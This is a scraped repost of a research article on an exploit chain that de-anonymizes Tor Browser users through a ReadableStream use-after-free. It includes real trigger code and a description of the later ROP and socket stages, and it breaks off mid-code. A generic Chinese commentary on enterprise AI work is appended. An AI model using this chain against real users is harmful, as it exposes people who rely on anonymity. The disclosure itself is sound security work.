Calif:Research(AI 漏洞研究) · 2026/11/26

← Research TORtilla with Onion De-anonymize Tor Browser to reveal the

← Research TORtilla with Onion De-anonymize Tor Browser to reveal the real IP Carlos Roque November 26, 2026 patch-the-planet Contents This research is part of OpenAI's Patch the Planet program. When we think about anonymity and security on the internet, as we

← Research TORtilla with Onion De-anonymize Tor Browser to reveal the real IP Carlos Roque November 26, 2026 patch-the-planet Contents This research is part of OpenAI's Patch the Planet program. When we think about anonymity and security on the internet, as well as the dark web, one of the first things that come to mind is Tor, this great network of nodes that helps us navigate more safely through the most remote corners of the internet. In this article, we show how a malicious website can overcome the defenses of Tor Browser ( 15.0.22 , default settings) to de-anonymize the user and leak their real IP. Tor Browser concept Tor Browser distributes a modified and hardened version of Firefox ESR together with the Tor daemon, which runs as a separate process. A simplified architecture of the platform: When we visit a normal website through Tor, the website sees the IP address of the exit relay instead of ours. With an .onion service, things work a little differently. Our browser and the service communicate through a shared Tor relay (called a rendezvous point) without revealing their IP addresses to each other. In both cases anonymity depends on the browser not opening a separate connection outside Tor. The final stage of this exploit violates that application boundary. Having laid the foundations, let's go with the first phase of the exploit. Exploit Chain The phases of the exploit are as follows: The victim opens the page and clicks once to create the same-origin popup. A bug in BYOB ( bring your own buffer ) handling between the two windows leaves a usable view over freed memory. It is exploited first with 64 MiB to find the base address of libxul and then with 512 MiB to control a UAF region and obtain its base address. The allocator is manipulated to overwrite a pointer. A fake object/ vtable is installed, and console.error() starts ROP in the renderer. ROP forges a history entry with System principal and asks the parent to reload it. De-anonymization: the privileged DevTools page opens a direct socket, accept() reveals the public source IP address of the connection that bypasses Tor. First Phase: UAF ReadableStream on Gecko/Firefox (CVE-2026-92027) Before going into the bug, let's start at the beginning, the attacker's infrastructure. The attacker has a website as simple as this: The exploit requires the user to click "Launch proof". As we can see in the following image, Tor Browser prevents the automatic execution of popups from websites as a security measure. You may be wondering: why are two windows needed? Great question! This is going to be key when triggering the UAF. The attacker uses the main page (the opener ) and another page that opens as a popup . Both arrive through Tor and belong to the same origin. As we said before, the two windows have the same origin; therefore, they can call each other, but they are two different JavaScript realms . The opener's task in this initial phase is to create the streams, preserve the views and analyze the memory. The popup provides the buffers, keeps the BYOB reads, and creates the allocations with which the memory will be reused. Before continuing, BYOB is a reading mode in which the consumer provides the memory where the producer should write. In a normal read, the stream creates or delivers its own block of data. With BYOB, the reader offers an already prepared Uint8Array for the producer to fill directly, avoiding another allocation and copy. Gecko coordinates that memory through the reader, a pending descriptor and controller.byobRequest.view . When the producer finishes, it indicates how many bytes it wrote through respond() . The exploit deliberately omits that response to keep the read and its memory state pending. The communication begins like this: victim -> opens the opener through Tor victim -> clicks the full - window link popup -> host . register ( self ) host is the name the popup uses to refer to the opener . child is the name the opener uses to refer to the popup . They are ordinary variables, not special browser functions. The popup creates a large Uint8Array called victim . In the first pass it is 64 MiB, in the second 512 MiB. It then requests a byte ReadableStream from the opener and creates a BYOB reader: popup -> creates victim popup -> host . makeStream ( i ) opener -> creates ReadableStream ({ type : "bytes" , pull ( controller ) {...}}) opener -> returns the stream to the popup popup -> creates ReadableStreamBYOBReader ( stream ) popup -> reader . read ( victim ) Opener : ... function makeStream ( i ) { let s = new ReadableStream ({ type : 'bytes' , pull ( c ){ let req = c . byobRequest ; if ( req &&! bads [ i ]){ controllers [ i ] = c ; bads [ i ] = req . view ; if ( bads . filter ( Boolean ). length === count ) { document . title = 'BAD:' + count + ':' + bads [ 0 ]. length ; child . start ()} }}}); streams [ i ] = s ; return s } ... Popup : ... const count = 128 ; async function setup (){ for ( let i = 0 ; i < count ; i ++ ){ for ( let j = 0 ; j < 3 ; j ++ ) anchors . push ( new ArrayBuffer ( 0 )); let victim = i === 0 && mode === 'native' ? new Uint8Array ( await new Blob ([ new ArrayBuffer ( 0x04000000 )]). arrayBuffer ()) : new Uint8Array ( i === 0 && mode . endsWith ( 'blob' ) ? 0x50000000 : i === 0 ? 0x20000000 : size ); let r = new ReadableStreamBYOBReader ( host . makeStream ( i )); readers . push ( r ); r . read ( victim ). catch (()=>{}); }} setup (); ... The last command ( popup -> reader.read(victim) ) is the one that connects both realms. victim and its buffer belong to the popup , but the reader is associated with the stream/controller created in the opener. When processing the read, Gecko passes that buffer to the controller's algorithm through a CCW, which acts as a representative of the real object. popup : reader . read ( victim ) -> opener stream controller -> TransferArrayBuffer ( original buffer wrapper ) -> PullIntoDescriptor ( replacement buffer ) TransferArrayBuffer() crosses the wrapper, takes the backing store from the original buffer, detaches that object and creates another ArrayBuffer that receives the same bytes: before : original popup buffer -> backing store after : original buffer detached replacement buffer -> backing store PullIntoDescriptor preserves the replacement buffer while the read is pending. The CCW and the transfer do not yet constitute the flaw by themselves; they prepare an ownership state between realms that the following operation will expose through a view. When the read remains pending, Gecko executes the stream's pull(controller) function. Since that function was created in the opener, the callback runs there: Gecko -> executes pull ( controller ) in the opener opener -> reads controller . byobRequest opener -> stores controller . byobRequest . view in bads [ i ] Opener : ... function makeStream ( i ) { let s = new ReadableStream ({ type : 'bytes' , pull ( c ){ let req = c . byobRequest ; if ( req &&! bads [ i ]){ controllers [ i ] = c ; bads [ i ] = req . view ; if ( bads . filter ( Boolean ). length === count ) { document . title = 'BAD:' + count + ':' + bads [ 0 ]. length ; child . start ()} }}}); streams [ i ] = s ; return s } ... Gecko obtains the replacement buffer from PullIntoDescriptor , creates a new Uint8Array over it and stores it as ReadableStreamBYOBRequest.mView . .view returns that object to the page's code. This is the view that the opener will preserve even after invalidating the read. The only function of bads[] is to preserve the views after the BYOB request disappears. The view allows access to the bytes through indexes. The native pointer remains hidden inside SpiderMonkey. JavaScript can execute bads[i][100] , but cannot directly print an .address property. The first stream contains the only memory that matters to preserve as UAF: stream 0 -> view of 64 or 512 MiB The 128 streams? (in popup ) ... const count = 128 ; async function setup (){ for ( let i = 0 ; i < count ; i ++ ){ ... The exploit repeats this operation with 128 streams. The first stream uses the huge buffer and the other 127 stabilize the distribution of wrappers, descriptors and objects during collection. The 127 create small copies of the same topology. stream -> controller -> PullIntoDescriptor -> BYOBRequest -> wrapper / view When the opener has stored the 128 views, the release begins: opener -> child . start () popup -> host . release () opener -> child . watch ( bads [ 0 ]. buffer ) opener -> controllers [ i ]. error ( new Error ( "release" )) opener -> removes streams [] and controllers [] opener -> child . afterRelease () popup -> removes readers [] When they are all put into error simultaneously, Gecko clears many similar descriptors, wrappers and objects in the same cycle. That reduces variations in order and timing during GC and increases the probability that the large buffer is freed and its interval reused in the expected way. Popup : ... function start (){ if ( started ) return ; started = true ; setTim

FDE 判断

这条信息对 FDE 的直接价值在于提醒交付人员持续关注模型、智能体与企业流程之间的变化。面对类似项目,应先确认客户的真实业务目标、数据边界、权限条件和验收指标,再选择工具并用最小场景验证结果,避免只追逐功能更新。